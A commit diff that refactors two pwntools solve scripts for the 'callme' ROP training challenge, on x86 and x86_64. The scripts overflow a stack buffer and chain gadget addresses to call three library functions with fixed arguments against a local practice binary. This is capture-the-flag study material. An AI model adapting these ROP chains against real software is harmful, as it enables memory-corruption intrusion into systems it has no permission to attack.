remaster 2-callme scripts in x86 and x86_64

ChenXIXIXIXXI · Jul 15, 2021 · 6b7cae5 · 6b7cae5
1 parent 0981dc0
commit 6b7cae5
Show file tree

Hide file tree

Showing 2 changed files with 12 additions and 38 deletions.
diff --git a/x64/2-callme/solve.py b/x64/2-callme/solve.py
@@ -9,28 +9,14 @@
 
 p = process(BINARY)
 
-pop_rdi_rsi_rdx_ret = 0x40093c
-ret = 0x4006be
-
 rop = b"A" * 40
-rop += p64(ret)
-rop += p64(pop_rdi_rsi_rdx_ret)
-rop += p64(0xdeadbeefdeadbeef)
-rop += p64(0xcafebabecafebabe)
-rop += p64(0xd00df00dd00df00d)
-rop += p64(ELF.symbols['callme_one'])
-
-rop += p64(pop_rdi_rsi_rdx_ret)
-rop += p64(0xdeadbeefdeadbeef)
-rop += p64(0xcafebabecafebabe)
-rop += p64(0xd00df00dd00df00d)
-rop += p64(ELF.symbols['callme_two'])
 
-rop += p64(pop_rdi_rsi_rdx_ret)
-rop += p64(0xdeadbeefdeadbeef)
-rop += p64(0xcafebabecafebabe)
-rop += p64(0xd00df00dd00df00d)
-rop += p64(ELF.symbols['callme_three'])
+for func in ['callme_one', 'callme_two', 'callme_three']:
+    rop += p64(0x40093c) # pop rdi ; pop rsi ; pop rdx ; ret
+    rop += p64(0xdeadbeefdeadbeef)
+    rop += p64(0xcafebabecafebabe)
+    rop += p64(0xd00df00dd00df00d)
+    rop += p64(ELF.symbols[func])
 
 log.success(f"ROP chain : {rop}")
 p.sendline(rop)

diff --git a/x86/2-callme/solve.py b/x86/2-callme/solve.py
@@ -9,26 +9,14 @@
 
 p = process(BINARY)
 
-pop3ret = 0x080487f9
-
 rop = b"A" * 44
-rop += p32(ELF.symbols['callme_one'])
-rop += p32(pop3ret)
-rop += p32(0xdeadbeef)
-rop += p32(0xcafebabe)
-rop += p32(0xd00df00d)
-
-rop += p32(ELF.symbols['callme_two'])
-rop += p32(pop3ret)
-rop += p32(0xdeadbeef)
-rop += p32(0xcafebabe)
-rop += p32(0xd00df00d)
 
-rop += p32(ELF.symbols['callme_three'])
-rop += p32(pop3ret)
-rop += p32(0xdeadbeef)
-rop += p32(0xcafebabe)
-rop += p32(0xd00df00d)
+for func in ['callme_one', 'callme_two', 'callme_three']:
+    rop += p32(ELF.symbols[func])
+    rop += p32(0x80487f9) # pop esi ; pop edi ; pop ebp ; ret
+    rop += p32(0xdeadbeef)
+    rop += p32(0xcafebabe)
+    rop += p32(0xd00df00d)
 
 p.sendline(rop)
 log.success(f"ROPchain = {rop}")